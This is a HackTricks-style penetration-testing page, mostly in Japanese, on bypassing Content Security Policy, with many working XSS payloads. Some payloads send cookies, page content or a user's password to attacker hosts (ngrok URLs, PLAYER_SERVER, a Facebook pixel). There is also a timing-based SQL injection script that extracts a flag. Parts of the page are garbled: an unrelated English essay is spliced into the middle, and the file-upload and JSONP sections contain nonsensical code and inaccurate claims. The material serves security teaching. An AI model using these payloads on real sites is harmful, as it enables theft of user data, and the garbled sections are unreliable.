62 KiB
コンテンツセキュリティポリシー(CSP)バイパス
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
HackenProofはすべての暗号バグバウンティの場所です。
遅延なしで報酬を受け取る
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
Web3ペンテストの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のweb3セキュリティをマスターしましょう。
Web3ハッカーレジェンドになる
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
HackenProofでサインアップして、ハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
CSPとは
コンテンツセキュリティポリシー(Content Security PolicyまたはCSP)は、クロスサイトスクリプティング(XSS)などの攻撃から保護するための組み込みブラウザ技術です。ブラウザが安全にリソースを読み込み、実行できるパスとソースをリスト化および説明します。リソースには、画像、フレーム、JavaScriptなどが含まれる場合があります。以下は、ローカルドメイン(self)からのリソースをインラインで読み込み、実行することを許可する例です。また、eval
、setTimeout
、setInterval
などの文字列コード実行関数も許可されます。
コンテンツセキュリティポリシーは、レスポンスヘッダまたはHTMLページのメタ要素を介して実装されます。ブラウザは受信したポリシーに従い、違反が検出されると積極的にブロックします。
レスポンスヘッダを介して実装されます:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
メタタグを使用して実装されます:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
ヘッダー
Content-Security-Policy
Content-Security-Policy-Report-Only
これは何もブロックせず、レポートのみを送信します(Pre環境で使用)。
リソースの定義
CSPは、アクティブおよびパッシブコンテンツが読み込まれる元の制限によって機能します。また、インラインのJavaScriptの実行やeval()
の使用など、アクティブコンテンツの特定の側面を制限することもできます。
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
ディレクティブ
- script-src: このディレクティブはJavaScriptの許可されたソースを指定します。これには、要素に直接ロードされるURLだけでなく、インラインスクリプトイベントハンドラ(onclick)やスクリプトの実行をトリガーすることができるXSLTスタイルシートも含まれます。
- default-src: このディレクティブは、デフォルトでリソースを取得するためのポリシーを定義します。CSPヘッダーにフェッチディレクティブが存在しない場合、ブラウザはデフォルトでこのディレクティブに従います。
- Child-src: このディレクティブは、Webワーカーや埋め込みフレームのコンテンツに許可されたリソースを定義します。
- connect-src: このディレクティブは、fetch、websocket、XMLHttpRequestなどのインターフェースを使用してロードするURLを制限します。
- frame-src: このディレクティブは、呼び出すことができるフレームのURLを制限します。
- frame-ancestors: このディレクティブは、現在のページを埋め込むことができるソースを指定します。このディレクティブは
<frame>
、<iframe>
、<object>
、<embed>
、または<applet>
に適用されます。このディレクティブはタグ内では使用できず、非HTMLリソースにのみ適用されます。 - img-src: これはウェブページで画像をロードするための許可されたソースを定義します。
- font-src: このディレクティブは、
@font-face
を使用してロードされるフォントの有効なソースを指定します。 - manifest-src: このディレクティブは、アプリケーションマニフェストファイルの許可されたソースを定義します。
- media-src: これはメディアオブジェクトをロードするための許可されたソースを定義します。
- object-src: これは<object>、<embed>、および<applet>要素の許可されたソースを定義します。
- base-uri: これは要素を使用してロードできる許可されたURLを定義します。
- form-action: このディレクティブは、タグからの送信のための有効なエンドポイントをリストします。
- plugin-types: これはページが呼び出すことができるMIMEタイプの種類を制限します。
- upgrade-insecure-requests: このディレクティブは、URLスキームを書き換えてHTTPをHTTPSに変更するようブラウザに指示します。このディレクティブは、大量の古いURLを書き換える必要があるウェブサイトに便利です。
- sandbox: sandboxディレクティブは、リクエストされたリソースに対してsandbox属性と同様の制限を適用します。これにより、ポップアップの防止、プラグインとスクリプトの実行の防止、同一オリジンポリシーの強制など、ページのアクションが制限されます。
ソース
- *: これは
data:
、blob:
、filesystem:
スキーム以外の任意のURLを許可します。 - self: このソースは、ページ上のリソースのロードが同じドメインから許可されていることを定義します。
- data: このソースは、データスキームを介してリソースをロードすることを許可します(例:Base64エンコードされた画像)。
- none: このディレクティブは、どのソースからも何もロードしないことを許可します。
- unsafe-eval: これはeval()や類似のメソッドを使用して文字列からコードを作成することを許可します。これは安全なプラクティスではないため、このソースを任意のディレクティブに含めることは推奨されません。同じ理由で、unsafeという名前が付けられています。
- unsafe-hashes: これにより、特定のインラインイベントハンドラの有効化が可能になります。
- unsafe-inline: これにより、インラインリソース(インライン要素、javascript:URL、インラインイベントハンドラ、インライン要素など)の使用が許可されます。セキュリティ上の理由から、これは推奨されません。
- nonce: 暗号化されたnonce(一度だけ使用される数値)を使用して特定のインラインスクリプトをホワイトリストに登録します。サーバーは、ポリシーを送信するたびに一意のnonce値を生成する必要があります。
- sha256-<hash>: 特定のsha256ハッシュを持つスクリプトをホワイトリストに登録します。
- strict-dynamic: これにより、以前に「nonce」または「hash」値によってホワイトリストに登録されたスクリプトソースから、ブラウザがDOM内で新しいJavaScriptタグをロードおよび実行できるようになります。
- host: example.comなどのホストを示します。
危険なCSPルール
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
動作するペイロード:"/><script>alert(1);</script>
Iframesを使用したself + 'unsafe-inline'
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}
'unsafe-eval'
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
動作するペイロード:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
もし何らかの方法で、許可されたJSコードが新しいスクリプトタグをDOMに作成することができれば、許可されたスクリプトがそれを作成しているため、新しいスクリプトタグは実行が許可されます。
ワイルドカード (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
動作するペイロード:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
object-srcとdefault-srcの不足
{% hint style="danger" %} これはもう機能しないようです {% endhint %}
Content-Security-Policy: script-src 'self' ;
動作するペイロード:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
ファイルのアップロード + 'self'
このテクニックは、Content Security Policy(CSP)で設定されたポリシーをバイパスするために使用されます。CSPは、Webアプリケーションのセキュリティを向上させるために使用されるヘッダーです。CSPは、特定のドメインからのみリソースの読み込みを許可することができます。
しかし、CSPのポリシーが'self'を使用している場合、攻撃者は自身のドメインからのみリソースを読み込むことができます。これを利用して、攻撃者は悪意のあるファイルをアップロードし、それを自身のドメインから読み込むことができます。
以下の例では、攻撃者はファイルアップロード機能を使用して、悪意のあるスクリプトをアップロードします。その後、攻撃者はCSPのポリシーを'self'に設定し、悪意のあるスクリプトを自身のドメインから読み込むことができます。
<form action="https://example.com/upload" method="POST" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
<script>
// 悪意のあるスクリプトをアップロードする
// ...
// CSPのポリシーを'self'に設定する
document.setHeader("Content-Security-Policy", "default-src 'self'");
</script>
この攻撃を防ぐためには、CSPのポリシーを適切に設定し、ファイルのアップロード機能に対して適切な制限を設ける必要があります。また、アップロードされたファイルの検証と適切な処理も重要です。
Content-Security-Policy: script-src 'self'; object-src 'none' ;
もしJSファイルをアップロードできるなら、このCSPをバイパスすることができます:
動作するペイロード:
"/>'><script src="/uploads/picture.png.js"></script>
しかし、サーバーがアップロードされたファイルを検証し、特定の種類のファイルのみをアップロードできるようにしている可能性が非常に高いです。
さらに、サーバーが受け入れる拡張子(例:script.png_のような)を使用してファイル内にJSコードをアップロードできたとしても、これだけでは十分ではありません。なぜなら、Apacheサーバーのような一部のサーバーは、拡張子に基づいてファイルのMIMEタイプを選択し、Chromeのようなブラウザは、画像であるべきもの内部のJavascriptコードの実行を拒否するからです。"幸いなことに"、ここにはミスがあります。例えば、CTFから学んだところによれば、Apacheは.wave_拡張子を認識しないため、**audio/***のようなMIMEタイプで提供しません。
ここから、XSSとファイルのアップロードを見つけ、誤解された拡張子を見つけることができれば、その拡張子を持つファイルとスクリプトの内容をアップロードしてみることができます。または、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロット(ここにいくつかのポリグロットの例があります)を作成してみてください。
サードパーティのエンドポイント + ('unsafe-eval')
{% hint style="warning" %}
以下のペイロードの一部には、unsafe-eval
は必要ありません。
{% endhint %}
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
脆弱性のあるバージョンのAngularを読み込み、任意のJavaScriptを実行します:
<script src="https://example.com/vulnerable-angular.js"></script>
<script>
// Execute arbitrary JavaScript code here
</script>
脆弱性のあるバージョンのAngularを読み込み、任意のJavaScriptを実行するために上記のコードを使用します。
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Angular + window
オブジェクトを返す関数を持つライブラリを使用したペイロード(この投稿をチェックしてください):
{% hint style="info" %}
この投稿では、cdn.cloudflare.com
(または他の許可されたJSライブラリのリポジトリ)からすべてのライブラリをロードし、各ライブラリから追加されたすべての関数を実行し、どの関数がどのライブラリからwindow
オブジェクトを返すかを確認できることを示しています。
{% endhint %}
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
Google reCAPTCHA JSコードの悪用
このCTFの解説記事によると、CSP内でhttps://www.google.com/recaptcha/を悪用してCSPをバイパスし、任意のJSコードを実行することができます。
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
サードパーティのエンドポイント + JSONP
JSONP(JSON with Padding)は、クロスドメインリクエストを実現するための一般的な手法です。これは、ウェブアプリケーションが異なるドメインのサードパーティエンドポイントにアクセスするために使用されます。
JSONPは、スクリプトタグを使用して外部スクリプトを読み込むことによって機能します。ウェブアプリケーションは、サードパーティのエンドポイントに対してスクリプトタグを生成し、コールバック関数を指定します。サードパーティのエンドポイントは、指定されたコールバック関数を含むJSONデータを返します。ウェブアプリケーションは、コールバック関数を使用してJSONデータを処理します。
この手法は、Content Security Policy(CSP)によって制限される場合があります。CSPは、ウェブアプリケーションが許可されたリソースのみにアクセスできるようにするためのセキュリティメカニズムです。CSPが適用されている場合、ウェブアプリケーションは指定されたドメイン以外のエンドポイントにアクセスできません。
しかし、CSPバイパスのテクニックを使用することで、JSONPを使用してサードパーティのエンドポイントにアクセスすることができます。これにより、CSPが適用されているウェブアプリケーションでも、制限を回避してデータを取得することができます。
以下に、CSPバイパスの一般的なテクニックのいくつかを示します。
1. サードパーティのエンドポイントをホワイトリストに追加する
CSPの設定で、サードパーティのエンドポイントをホワイトリストに追加することができます。これにより、ウェブアプリケーションは指定されたエンドポイントにアクセスすることができます。
<meta http-equiv="Content-Security-Policy" content="script-src 'self' https://example.com">
2. ダイナミックなコールバック関数名を使用する
CSPは、静的なコールバック関数名を指定することを要求する場合があります。しかし、動的なコールバック関数名を使用することで、CSPの制限を回避することができます。
var callbackName = 'callback_' + Math.floor(Math.random() * 1000000);
var script = document.createElement('script');
script.src = 'https://example.com/api?callback=' + callbackName;
document.body.appendChild(script);
window[callbackName] = function(data) {
// JSONデータを処理するコード
};
3. データのフィルタリングとサニタイズ
CSPバイパスを使用してサードパーティのエンドポイントにアクセスする場合、信頼できないデータがウェブアプリケーションに渡される可能性があります。そのため、取得したデータを適切にフィルタリングおよびサニタイズすることが重要です。
信頼できないデータを直接実行しないようにし、適切なエスケープ処理を行うことで、XSS(クロスサイトスクリプティング)攻撃などのセキュリティリスクを軽減することができます。
これらのテクニックを使用することで、CSPバイパスを実現し、JSONPを使用してサードパーティのエンドポイントにアクセスすることができます。ただし、セキュリティ上のリスクを理解し、適切な対策を講じることが重要です。
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
次のようなシナリオでは、script-src
がself
と特定のドメインに設定されている場合、JSONPを使用して回避することができます。 JSONPエンドポイントは、安全でないコールバックメソッドを許可するため、攻撃者はXSSを実行することができます。有効なペイロードは以下の通りです:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
JSONBee には、さまざまなウェブサイトのCSPバイパスに使用できるJSONPエンドポイントが含まれています。
同じ脆弱性が発生する可能性がありますが、信頼されたエンドポイントにオープンリダイレクトが含まれている場合、初期のエンドポイントが信頼されているため、リダイレクトも信頼されます。
サードパーティの悪用
次の投稿で説明されているように、CSPのどこかで許可されている多くのサードパーティドメインは、データの外部流出やJavaScriptコードの実行など、悪用される可能性があります。いくつかのサードパーティは次のとおりです:
エンティティ | 許可されたドメイン | 機能 |
---|---|---|
www.facebook.com, *.facebook.com | データの外部流出 | |
Hotjar | *.hotjar.com, ask.hotjar.io | データの外部流出 |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | コードの実行 |
Amazon CloudFront | *.cloudfront.net | データの外部流出、コードの実行 |
Amazon AWS | *.amazonaws.com | データの外部流出、コードの実行 |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | データの外部流出、コードの実行 |
Salesforce Heroku | *.herokuapp.com | データの外部流出、コードの実行 |
Google Firebase | *.firebaseapp.com | データの外部流出、コードの実行 |
ターゲットのCSPに許可されたドメインのいずれかが見つかった場合、サードパーティサービスに登録して、そのサービスにデータを外部流出させるか、コードを実行することができる可能性があります。
例えば、次のCSPが見つかった場合:
Content-Security-Policy: default-src 'self’ www.facebook.com;
Content Security Policy (CSP) Bypass
Introduction
Content Security Policy (CSP) is a security mechanism implemented by web applications to mitigate the risk of cross-site scripting (XSS) attacks. CSP allows web developers to specify which resources (e.g., scripts, stylesheets, images) are allowed to be loaded and executed on a web page. However, misconfigurations or bypasses in CSP can lead to potential security vulnerabilities.
This guide explores various techniques to bypass CSP and execute arbitrary code on a target web application.
Table of Contents
CSP Bypass Techniques
Inline Event Handlers
Inline event handlers allow the execution of JavaScript code directly within HTML tags. By injecting event handlers into HTML elements, an attacker can bypass CSP restrictions and execute arbitrary code.
Data URIs
Data URIs allow embedding data directly into HTML or CSS files. By using data URIs, an attacker can bypass CSP restrictions and execute malicious code by embedding it within the document.
Nonce Bypass
CSP allows the use of nonces to restrict the execution of inline scripts. However, if a web application fails to generate unique nonces for each request, an attacker can bypass CSP by injecting a script with a known nonce value.
Unsafe Inline
The unsafe-inline
directive in CSP allows the execution of inline scripts and styles. By exploiting this directive, an attacker can inject arbitrary code directly into the HTML document.
Unsafe Eval
The unsafe-eval
directive in CSP allows the use of the eval()
function to execute dynamically generated code. By leveraging this directive, an attacker can execute arbitrary code by injecting it into a script tag.
Unsafe Hashes
CSP allows the use of cryptographic hashes to whitelist specific scripts. However, if an attacker can determine the hash of a script, they can bypass CSP by injecting the script with the known hash value.
Sandbox Bypass
The sandbox
attribute in HTML allows restricting the capabilities of an iframe. However, if a web application fails to properly configure the sandbox attribute, an attacker can bypass CSP and execute arbitrary code within the iframe.
CSP Header Manipulation
If a web application does not properly validate or sanitize user-controlled input used to set the CSP header, an attacker can manipulate the header to bypass CSP restrictions and execute arbitrary code.
Exploitation Examples
DOM-based XSS
DOM-based XSS occurs when a web application dynamically updates the DOM based on user-controlled input without proper sanitization. By injecting malicious code into the DOM, an attacker can bypass CSP and execute arbitrary code.
Stored XSS
Stored XSS occurs when user-controlled input is stored on the server and later displayed to other users without proper sanitization. By injecting malicious code into the stored data, an attacker can bypass CSP and execute arbitrary code when the data is rendered.
Reflected XSS
Reflected XSS occurs when user-controlled input is immediately returned by the server in the response. By injecting malicious code into the input, an attacker can bypass CSP and execute arbitrary code when the response is rendered.
Conclusion
Content Security Policy (CSP) is an important security mechanism that helps protect web applications against cross-site scripting (XSS) attacks. However, misconfigurations or bypasses in CSP can lead to potential security vulnerabilities. It is crucial for web developers and security professionals to understand these bypass techniques in order to effectively secure web applications.
Content-Security-Policy: connect-src www.facebook.com;
あなたは、Google Analytics/Google Tag Managerを使用して常に行われてきたように、データを外部に流出させることができるはずです。この場合、次の一般的な手順に従います。
- ここでFacebook Developerアカウントを作成します。
- 新しい「Facebookログイン」アプリを作成し、「ウェブサイト」を選択します。
- 「設定 -> 基本」に移動し、「App ID」を取得します。
- データを流出させたい対象サイトでは、Facebook SDKガジェット「fbq」を使用して「customEvent」とデータペイロードを直接使用してデータを流出させることができます。
- アプリの「イベントマネージャー」に移動し、作成したアプリケーションを選択します(イベントマネージャーは、次のようなURLで見つけることができます:https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events)
- 「テストイベント」タブを選択して、「あなたの」ウェブサイトから送信されるイベントを確認します。
その後、被害者側で、以下のコードを実行してFacebookのトラッキングピクセルを初期化し、攻撃者のFacebook Developerアカウントのapp-idを指し、次のようなカスタムイベントを発行します:
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
他の7つのサードパーティドメインについては、それらを悪用する方法が他にもあります。他のサードパーティの悪用についての追加の説明については、以前のブログ投稿を参照してください。
RPO(Relative Path Overwrite)によるバイパス
パス制限をバイパスするための前述のリダイレクトに加えて、一部のサーバーで使用できるRelative Path Overwrite(RPO)という技術があります。
たとえば、CSPがhttps://example.com/scripts/react/
というパスを許可している場合、次のようにバイパスすることができます:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
ブラウザは最終的に https://example.com/scripts/angular/angular.js
を読み込みます。
これは、ブラウザにとって、CSPに準拠している https://example.com/scripts/react/
の下にある ..%2fangular%2fangular.js
という名前のファイルを読み込んでいるためです。
ただし、一部のサーバーでは、リクエストを受け取る際にデコードし、実際には https://example.com/scripts/react/../angular/angular.js
というリクエストを行います。これは https://example.com/scripts/angular/angular.js
と同等です。
ブラウザとサーバーのURL解釈の不一致を利用することで、パスのルールを回避することができます。
解決策は、サーバーサイドで %2f
を /
として扱わないようにすることで、ブラウザとサーバーの一貫した解釈を確保し、この問題を回避することです。
オンラインの例: https://jsbin.com/werevijewa/edit?html,output
Iframes JS実行
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}
base-uri の不足
base-uri ディレクティブが不足している場合、dangling markup injection を実行するために悪用することができます。
さらに、脆弱なページが相対パスを使用してスクリプトを読み込んでいる場合(例: <script src="/js/app.js">
)、Nonce を使用して、base tag を悪用してスクリプトを 自分のサーバーから読み込むことでXSSを達成することができます。
脆弱なページがhttpSで読み込まれる場合は、baseでhttpSのURLを使用してください。
<base href="https://www.attacker.com/">
AngularJS イベント
特定のポリシーによって、CSPはJavaScriptイベントをブロックする場合があります。ただし、AngularJSは独自のイベントを定義しており、代わりに使用することができます。イベント内部では、AngularJSは$event
という特別なオブジェクトを定義しています。このオブジェクトは単純にブラウザのイベントオブジェクトを参照します。このオブジェクトを使用してCSPをバイパスすることができます。Chromeでは、$event/event
オブジェクトにはpath
という特別なプロパティがあります。このプロパティには、イベントの実行を引き起こすオブジェクトの配列が含まれています。最後のプロパティは常にwindow
オブジェクトであり、これを使用してサンドボックスを脱出することができます。この配列をorderBy
フィルタに渡すことで、配列を列挙し、最後の要素(window
オブジェクト)を使用してalert()
などのグローバル関数を実行することができます。以下のコードはこれを示しています:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
他のAngularバイパスをhttps://portswigger.net/web-security/cross-site-scripting/cheat-sheet で見つける
AngularJSとホワイトリストに登録されたドメイン
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
もしアプリケーションがAngular JSを使用しており、スクリプトがホワイトリストに登録されたドメインからロードされている場合、コールバック関数と脆弱性のあるクラスを呼び出すことで、このCSPポリシーをバイパスすることが可能です。詳細については、この素晴らしいgitリポジトリをご覧ください。
動作するペイロード:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
他のJSONP任意実行エンドポイントはこちらで見つけることができます(一部は削除または修正されました)。
リダイレクトを介したバイパス
CSPがサーバーサイドのリダイレクトに遭遇した場合、どうなるでしょうか?リダイレクトが許可されていない異なるオリジンにリードする場合、それは失敗します。
しかし、CSP仕様4.2.2.3. パスとリダイレクトの説明によると、リダイレクトが異なるパスにリードする場合、元の制限をバイパスすることができます。
以下に例を示します:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
CSPがhttps://www.google.com/a/b/c/d
に設定されている場合、パスが考慮されるため、/test
と/a/test
のスクリプトはCSPによってブロックされます。
しかし、最終的にhttp://localhost:5555/301
はサーバーサイドでhttps://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
にリダイレクトされます。リダイレクトの場合、パスは考慮されず、スクリプトがロードされるため、パスの制限を回避することができます。
このリダイレクトにより、パスが完全に指定されていても回避されます。
したがって、最良の解決策は、ウェブサイトにオープンリダイレクトの脆弱性がないことを確認し、CSPルールで悪用できるドメインが存在しないことを確認することです。
ダングリングマークアップを使用してCSPをバイパスする
'unsafe-inline'; img-src *; を使用したXSSを介してのバイパス
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline'
は、コード内で任意のスクリプトを実行できることを意味します(XSSはコードを実行できます)。また、img-src *
は、ウェブページで任意のリソースからの画像を使用できることを意味します。
このCSPをバイパスする方法は、画像を介してデータを外部に流出させることです(この場合、XSSはボットによってアクセス可能なページでCSRFを悪用し、SQLiを含んだフラグを画像を介して抽出します)。
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
この設定を悪用して、画像内に挿入されたJavaScriptコードを読み込むこともできます。たとえば、ページがTwitterから画像を読み込むことを許可している場合、特別な画像を作成し、Twitterにアップロードして、"unsafe-inline"を悪用して通常のXSSとしてJSコードを実行し、画像からJSを抽出して実行することができます:https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
サービスワーカーを使用する場合
サービスワーカーの**importScripts
**関数はCSPの制限を受けません:
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}
ポリシーインジェクション
研究: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
あなたが送信したパラメータがポリシーの宣言内に貼り付けられている場合、ポリシーを無効にするような方法でポリシーを変更することができます。以下のいずれかのバイパスを使用して、スクリプト 'unsafe-inline' を許可することができます:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
このディレクティブは、既存のscript-srcディレクティブを上書きします。
ここに例があります:http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
Edgeでは、CSPにこれだけ追加できれば、;_
Edgeはポリシー全体を無効にします。
例:http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *;によるXSS(iframe)- タイムアタック
ディレクティブ'unsafe-inline'
が欠落していることに注意してください。
今回は、<iframe
を使用して被害者にあなたの制御下のページを読み込ませることができます。今回は被害者に情報(CSRF)を抽出したいページにアクセスさせます。ページの内容にはアクセスできませんが、ページの読み込みにかかる時間を制御できる場合、必要な情報を抽出することができます。
今回は、フラグが抽出されます。SQLiによって文字が正しく推測されるたびに、応答がスリープ関数のためにより長くなります。その後、フラグを抽出できます。
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}
function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}
async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}
let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'
async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t = await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}
run();
</script>
ブックマークレットを介した攻撃
この攻撃では、攻撃者がユーザーに対してブラウザのブックマークレット上にリンクをドラッグアンドドロップするように説得します。このブックマークレットには、ドラッグアンドドロップまたはクリックされた場合に、現在のウェブウィンドウのコンテキストで実行される悪意のあるJavaScriptコードが含まれており、CSPをバイパスしてクッキーやトークンなどの機密情報を盗むことができます。
詳細については、こちらの元のレポートをご覧ください。
CSPの制限によるCSPバイパス
このCTFの解説では、CSPがバイパスされ、許可されたiframe内により制限の厳しいCSPが注入され、特定のJSファイルの読み込みが禁止され、その後、プロトタイプ汚染またはDOMクロバリングを介して、異なるスクリプトを悪用して任意のスクリプトを読み込むことができます。
IframeのCSPを**csp
**属性で制限することができます:
{% code overflow="wrap" %}
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
{% endcode %}
